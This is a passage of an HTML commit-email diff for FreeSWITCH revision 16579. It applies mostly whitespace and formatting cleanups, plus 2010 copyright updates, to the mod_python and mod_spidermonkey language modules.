</del><ins>+                thread_cnt++;
</ins><span class="cx">                 nextpt = pt->next;
</span><del>-                
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                 "Forcibly terminating script [%s]\n", pt->args);
</del><span class="cx">
</span><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Forcibly terminating script [%s]\n", pt->args);
+
</ins><span class="cx">                 /* Kill python script */
</span><span class="cx">                 PyThreadState_Swap(pt->tstate);
</span><span class="cx">                 PyThreadState_SetAsyncExc(pt->tstate->thread_id, PyExc_SystemExit);
</span><span class="lines">@@ -495,13 +494,12 @@
</span><span class="cx">         PyEval_ReleaseLock();
</span><span class="cx">         switch_yield(1000000);
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                         "Had to kill %d threads\n", thread_cnt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Had to kill %d threads\n", thread_cnt);
</ins><span class="cx">
</span><span class="cx">         /* Give threads a few seconds to terminate.
</span><span class="cx">          Not using switch_thread_join() since if threads refuse to die
</span><span class="cx">          then freeswitch will hang */
</span><del>-        for (i=0; i < 10 && thread_pool_head; i++) {
</del><ins>+        for (i = 0; i < 10 && thread_pool_head; i++) {
</ins><span class="cx">                 switch_yield(1000000);
</span><span class="cx">         }
</span><span class="cx">         if (thread_pool_head) {
</span><span class="lines">@@ -509,12 +507,10 @@
</span><span class="cx">                 pt = thread_pool_head;
</span><span class="cx">                 while (pt) {
</span><span class="cx">                         nextpt = pt->next;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                 "Script [%s] didn't exit in time\n", pt->args);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Script [%s] didn't exit in time\n", pt->args);
</ins><span class="cx">                         pt = nextpt;
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                 "Forcing python shutdown. This might cause freeswitch to crash!\n");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Forcing python shutdown. This might cause freeswitch to crash!\n");
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,11 +1,9 @@
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-PyObject *mod_python_conjure_event(switch_event_t *event)
</del><ins>+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><span class="cx">         Event *result = new Event(event, 0);
</span><span class="cx">
</span><del>-        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN );
</del><ins>+        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN);
</ins><span class="cx">
</span><span class="cx">         return obj;
</span><span class="cx"> }
</span><span class="lines">@@ -16,18 +14,18 @@
</span><span class="cx">         PyObject *obj;
</span><span class="cx">         Stream *result = new Stream(stream);
</span><span class="cx">
</span><del>-        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN );
</del><ins>+        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN);
</ins><span class="cx">
</span><span class="cx">         return obj;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session)
</del><ins>+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><del>-        
-        PYTHON::Session *result = new PYTHON::Session(session);
</del><ins>+
+        PYTHON::Session * result = new PYTHON::Session(session);
</ins><span class="cx">         obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_PYTHON__Session, SWIG_POINTER_OWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         result->setPython(module);
</span><span class="cx">         result->setSelf(obj);
</span><span class="cx">
</span><span class="lines">@@ -39,18 +37,18 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return obj;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> PyObject *mod_python_conjure_DTMF(char digit, int32_t duration)
</span><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         DTMF *result = new DTMF(digit, duration);
</span><span class="cx">         obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_DTMF, SWIG_POINTER_OWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return obj;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,10 +1,8 @@
</span><span class="cx"> #ifndef MOD_PYTHON_EXTRA
</span><span class="cx"> #define MOD_PYTHON_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-PyObject *mod_python_conjure_event(switch_event_t *event);
</del><ins>+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event);
</ins><span class="cx"> PyObject *mod_python_conjure_stream(switch_stream_handle_t *stream);
</span><del>-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session);
</del><ins>+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session);
</ins><span class="cx"> PyObject *mod_python_conjure_DTMF(char digit, int32_t duration);
</span><span class="cx">
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -38,7 +38,7 @@
</span><span class="cx"> #include <curl/curl.h>
</span><span class="cx"> #endif
</span><span class="cx"> static int foo = 0;
</span><del>-static jsval check_hangup_hook(struct js_session *jss, jsval *rp);
</del><ins>+static jsval check_hangup_hook(struct js_session *jss, jsval * rp);
</ins><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_spidermonkey_load);
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spidermonkey_shutdown);
</span><span class="lines">@@ -924,7 +924,7 @@
</span><span class="cx">                 err = "Could not allocate memory\n";
</span><span class="cx">         }
</span><span class="cx">
</span><del>- err:
</del><ins>+ err:
</ins><span class="cx">
</span><span class="cx">         if (err || !module) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Loading module %s\n**%s**\n", filename, switch_str_nil(err));
</span><span class="lines">@@ -1104,7 +1104,7 @@
</span><span class="cx">         char var_name[SWITCH_UUID_FORMATTED_LENGTH + 25];
</span><span class="cx">         char *p;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!jss || !jss->session) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1117,13 +1117,13 @@
</span><span class="cx">
</span><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_snprintf(var_name, sizeof(var_name), "__event_%s", uuid_str);
</span><del>-        for(p = var_name; p && *p; p++) {
</del><ins>+        for (p = var_name; p && *p; p++) {
</ins><span class="cx">                 if (*p == '-') {
</span><span class="cx">                         *p = '_';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         JS_ResumeRequest(cb_state->cx, cb_state->saveDepth);
</span><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="lines">@@ -1151,7 +1151,7 @@
</span><span class="cx">         case SWITCH_INPUT_TYPE_DTMF:
</span><span class="cx">                 {
</span><span class="cx">                         switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (dtmf) {
</span><span class="cx">                                 if ((Event = new_js_dtmf(dtmf, var_name, cb_state->cx, cb_state->obj))) {
</span><span class="cx">                                         argv[argc++] = STRING_TO_JSVAL(JS_NewStringCopyZ(cb_state->cx, "dtmf"));
</span><span class="lines">@@ -1175,7 +1175,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         cb_state->saveDepth = JS_SuspendRequest(cb_state->cx);
</span><span class="cx">         jss->stack_depth--;
</span><span class="cx">         return status;
</span><span class="lines">@@ -1450,7 +1450,7 @@
</span><span class="cx">         args.input_callback = dtmf_func;
</span><span class="cx">         args.buf = bp;
</span><span class="cx">         args.buflen = len;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_record_file(jss->session, &fh, file_name, &args, limit);
</span><span class="cx">         JS_ResumeRequest(cx, cb_state.saveDepth);
</span><span class="cx">         check_hangup_hook(jss, &ret);
</span><span class="lines">@@ -1594,7 +1594,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static jsval check_hangup_hook(struct js_session *jss, jsval *rp)
</del><ins>+static jsval check_hangup_hook(struct js_session *jss, jsval * rp)
</ins><span class="cx"> {
</span><span class="cx">         jsval argv[3] = { 0 };
</span><span class="cx">         int argc = 0;
</span><span class="lines">@@ -1753,7 +1753,7 @@
</span><span class="cx">         int32 ms = 0;
</span><span class="cx">         jsval ret = JS_TRUE;
</span><span class="cx">         int32 sync = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="cx">         channel = switch_core_session_get_channel(jss->session);
</span><span class="cx">         CHANNEL_SANITY_CHECK();
</span><span class="lines">@@ -2123,7 +2123,9 @@
</span><span class="cx"> {
</span><span class="cx">         struct js_session *jss = JS_GetPrivate(cx, obj);
</span><span class="cx">
</span><del>-        *rval = BOOLEAN_TO_JSVAL((jss && jss->session && switch_channel_test_flag(switch_core_session_get_channel(jss->session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
</del><ins>+        *rval =
+                BOOLEAN_TO_JSVAL((jss && jss->session
+                                                 && switch_channel_test_flag(switch_core_session_get_channel(jss->session), CF_ANSWERED)) ? JS_TRUE : JS_FALSE);
</ins><span class="cx">
</span><span class="cx">         return JS_TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -2186,7 +2188,7 @@
</span><span class="cx">         int32 timeout = 60000;
</span><span class="cx">         jsrefcount saveDepth;
</span><span class="cx">         jsval ret = JS_TRUE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         METHOD_SANITY_CHECK();
</span><span class="cx">         channel = switch_core_session_get_channel(jss->session);
</span><span class="cx">
</span><span class="lines">@@ -2200,8 +2202,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (check_hangup_hook(jss, NULL) != JS_TRUE) {
</span><del>- return JS_FALSE;
- }
</del><ins>+                return JS_FALSE;
+        }
</ins><span class="cx">
</span><span class="cx">         saveDepth = JS_SuspendRequest(cx);
</span><span class="cx">         for (;;) {
</span><span class="lines">@@ -2245,7 +2247,7 @@
</span><span class="cx">                                 cause = switch_channel_str2cause(cause_name);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cause) {
</span><span class="cx">                         channel = switch_core_session_get_channel(session);
</span><span class="cx">                         switch_channel_hangup(channel, cause);
</span><span class="lines">@@ -2289,7 +2291,7 @@
</span><span class="cx">                                 if (check_hangup_hook(jss, NULL) != JS_TRUE) {
</span><span class="cx">                                         return JS_FALSE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 saveDepth = JS_SuspendRequest(cx);
</span><span class="cx">                                 switch_core_session_exec(jss->session, application_interface, app_arg);
</span><span class="cx">                                 JS_ResumeRequest(cx, saveDepth);
</span><span class="lines">@@ -2826,7 +2828,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct js_session *jss = NULL;
</span><span class="cx">         JSObject *session_obj = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         jss = malloc(sizeof(*jss));
</span><span class="cx">         switch_assert(jss);
</span><span class="cx">         memset(jss, 0, sizeof(*jss));
</span><span class="lines">@@ -2835,7 +2837,7 @@
</span><span class="cx">         JS_SetPrivate(cx, obj, jss);
</span><span class="cx">
</span><span class="cx">         *rval = BOOLEAN_TO_JSVAL(JS_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc > 0) {
</span><span class="cx">                 char *uuid = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
</span><span class="cx">
</span><span class="lines">@@ -2851,7 +2853,7 @@
</span><span class="cx">                                         old_jss = JS_GetPrivate(cx, session_obj);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        if (switch_ivr_originate(old_jss ? old_jss->session : NULL,
</del><ins>+                        if (switch_ivr_originate(old_jss ? old_jss->session : NULL,
</ins><span class="cx">                                                                          &jss->session, &jss->cause, uuid, 60, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_set_flag(jss, S_HUP);
</span><span class="cx">                                 switch_channel_set_state(switch_core_session_get_channel(jss->session), CS_SOFT_EXECUTE);
</span><span class="lines">@@ -2948,18 +2950,18 @@
</span><span class="cx">                 if (JS_ValueToObject(cx, argv[0], &session_obj)) {
</span><span class="cx">                         struct js_session *old_jss = NULL;
</span><span class="cx">                         if (session_obj && (old_jss = JS_GetPrivate(cx, session_obj))) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (old_jss == jss) {
</span><span class="cx">                                         eval_some_js("~throw new Error(\"Supplied a_leg session is the same as our session\");", cx, obj, rval);
</span><span class="cx">                                         return JS_FALSE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 };
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!old_jss->session) {
</span><span class="cx">                                         eval_some_js("~throw new Error(\"Supplied a_leg session is not initilaized!\");", cx, obj, rval);
</span><span class="cx">                                         return JS_FALSE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 session = old_jss->session;
</span><span class="cx">                                 orig_caller_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(session));
</span><span class="cx">                                 dialplan = orig_caller_profile->dialplan;
</span><span class="lines">@@ -3013,7 +3015,8 @@
</span><span class="cx">                 caller_profile = switch_caller_profile_new(pool, username, dialplan, cid_name, cid_num, network_addr, ani, aniii, rdnis, modname, context, dest);
</span><span class="cx">
</span><span class="cx">                 saveDepth = JS_SuspendRequest(cx);
</span><del>-                status = switch_ivr_originate(session, &peer_session, &jss->cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
</del><ins>+                status =
+                        switch_ivr_originate(session, &peer_session, &jss->cause, dest, to ? atoi(to) : 60, NULL, NULL, NULL, caller_profile, NULL, SOF_NONE, NULL);
</ins><span class="cx">                 JS_ResumeRequest(cx, saveDepth);
</span><span class="cx">
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -3374,7 +3377,7 @@
</span><span class="cx">
</span><span class="cx">         if (argc > 0) {
</span><span class="cx">                 JS_ValueToInt32(cx, argv[0], &msec);
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (msec) {
</span><span class="cx">                 switch_yield(msec * 1000);
</span><span class="lines">@@ -3437,7 +3440,7 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 switch_api_execute(cmd, arg, session, &stream);
</span><span class="cx">
</span><del>-                *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *)stream.data)));
</del><ins>+                *rval = STRING_TO_JSVAL(JS_NewStringCopyZ(cx, switch_str_nil((char *) stream.data)));
</ins><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx">
</span><span class="cx">         } else {
</span><span class="lines">@@ -3597,7 +3600,7 @@
</span><span class="cx">         struct js_session *jss;
</span><span class="cx">         JSContext *cx = NULL;
</span><span class="cx">         jsval rval;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(input_code)) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -3624,7 +3627,7 @@
</span><span class="cx">
</span><span class="cx">         script = input_code;
</span><span class="cx">
</span><del>-        if (*script != '~') {        
</del><ins>+        if (*script != '~') {
</ins><span class="cx">                 if ((arg = strchr(script, ' '))) {
</span><span class="cx">                         *arg++ = '\0';
</span><span class="cx">                         argc = switch_separate_string(arg, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="lines">@@ -3771,7 +3774,7 @@
</span><span class="cx"> {
</span><span class="cx">         // this causes a crash
</span><span class="cx">         //JS_DestroyRuntime(globals.rt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         curl_global_cleanup();
</span><span class="cx">
</span><span class="cx">         switch_core_hash_destroy(&module_manager.mod_hash);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         struct js_session_speech *speech;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject *obj, jsval id, jsval *vp)
</del><ins>+JSBool DEFAULT_SET_PROPERTY(JSContext * cx, JSObject * obj, jsval id, jsval * vp)
</ins><span class="cx"> {
</span><span class="cx">         eval_some_js("~throw new Error(\"this property cannot be changed!\");", cx, obj, vp);
</span><span class="cx">         return JS_FALSE;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_core_dbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_core_db.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -190,10 +190,10 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         } else if (result == SWITCH_CORE_DB_BUSY) {
</span><span class="cx">                                 running++;
</span><del>-                                switch_cond_next(); /* wait a bit before retrying */
</del><ins>+                                switch_cond_next();        /* wait a bit before retrying */
</ins><span class="cx">                                 continue;
</span><del>-                        }
-                        if (switch_core_db_finalize(dbo->stmt) != SWITCH_CORE_DB_OK) {        
</del><ins>+                        }
+                        if (switch_core_db_finalize(dbo->stmt) != SWITCH_CORE_DB_OK) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error %s\n", switch_core_db_errmsg(dbo->db));
</span><span class="cx">                         }
</span><span class="cx">                         dbo->stmt = NULL;
</span><span class="lines">@@ -209,7 +209,7 @@
</span><span class="cx"> */
</span><span class="cx"> static JSBool db_next(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
</span><span class="cx"> {
</span><del>- /* return true until no more rows available */
</del><ins>+        /* return true until no more rows available */
</ins><span class="cx">         return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_ROW);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -218,7 +218,7 @@
</span><span class="cx"> */
</span><span class="cx"> static JSBool db_step(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
</span><span class="cx"> {
</span><del>- /* return true when the statement has finished executing successfully */
</del><ins>+        /* return true when the statement has finished executing successfully */
</ins><span class="cx">         return db_step_ex(cx, obj, argc, argv, rval, SWITCH_CORE_DB_DONE);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -242,7 +242,7 @@
</span><span class="cx">         for (x = 0; x < colcount; x++) {
</span><span class="cx">                 const char *var = (char *) switch_core_db_column_name(dbo->stmt, x);
</span><span class="cx">                 const char *val = (char *) switch_core_db_column_text(dbo->stmt, x);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (var && val) {
</span><span class="cx">                         switch_snprintf(code, sizeof(code), "~_dB_RoW_DaTa_[\"%s\"] = \"%s\"", var, val);
</span><span class="cx">                         eval_some_js(code, dbo->cx, dbo->obj, rval);
</span><span class="lines">@@ -289,7 +289,7 @@
</span><span class="cx">         struct db_obj *dbo = JS_GetPrivate(cx, obj);
</span><span class="cx">         JSBool status;
</span><span class="cx">         int32 param_index = -1;
</span><del>- char *param_value = NULL;
</del><ins>+        char *param_value = NULL;
</ins><span class="cx">
</span><span class="cx">         *rval = BOOLEAN_TO_JSVAL(JS_FALSE);
</span><span class="cx">
</span><span class="lines">@@ -297,26 +297,26 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- /* db_prepare() must be called first */
</del><ins>+        /* db_prepare() must be called first */
</ins><span class="cx">         if (!dbo->stmt) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* argv[0] = parameter index
</span><del>- argv[1] = parameter value
- */
</del><ins>+         argv[1] = parameter value
+         */
</ins><span class="cx">         if (argc < 2) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         /* convert args */
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)&param_index);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) & param_index);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><del>- param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
</del><ins>+        param_value = JS_GetStringBytes(JS_ValueToString(cx, argv[1]));
</ins><span class="cx">         if ((param_index < 1) || (NULL == param_value)) {
</span><del>-                return JS_FALSE;
</del><ins>+                return JS_FALSE;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* bind param */
</span><span class="lines">@@ -343,26 +343,26 @@
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- /* db_prepare() must be called first */
</del><ins>+        /* db_prepare() must be called first */
</ins><span class="cx">         if (!dbo->stmt) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* argv[0] = parameter index
</span><del>- argv[1] = parameter value
- */
</del><ins>+         argv[1] = parameter value
+         */
</ins><span class="cx">         if (argc < 2) {
</span><span class="cx">                 return JS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* convert args */
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[0], (uint32*)&param_index);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[0], (uint32 *) & param_index);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><del>-        status = JS_ValueToECMAUint32(cx, argv[1], (uint32*)&param_value);
</del><ins>+        status = JS_ValueToECMAUint32(cx, argv[1], (uint32 *) & param_value);
</ins><span class="cx">         switch_assert(status == JS_TRUE);
</span><span class="cx">
</span><del>-        if (param_index < 1) {
-                return JS_FALSE;
</del><ins>+        if (param_index < 1) {
+                return JS_FALSE;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* bind param */
</span><span class="lines">@@ -456,7 +456,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         *module_interface = &DB_module_interface;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -128,8 +128,8 @@
</span><span class="cx">                 curl_easy_setopt(co->curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(co->curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (argc > 2) {
</span><span class="cx">                 data = JS_GetStringBytes(JS_ValueToString(cx, argv[2]));
</span><span class="cx">         }
</span><span class="lines">@@ -240,7 +240,7 @@
</span><span class="cx">         /*.next */ NULL
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
</del><ins>+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t ** module_interface)
</ins><span class="cx"> {
</span><span class="cx">         curl_global_init(CURL_GLOBAL_ALL);
</span><span class="cx">         *module_interface = &curl_module_interface;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkey_odbcc"></a>
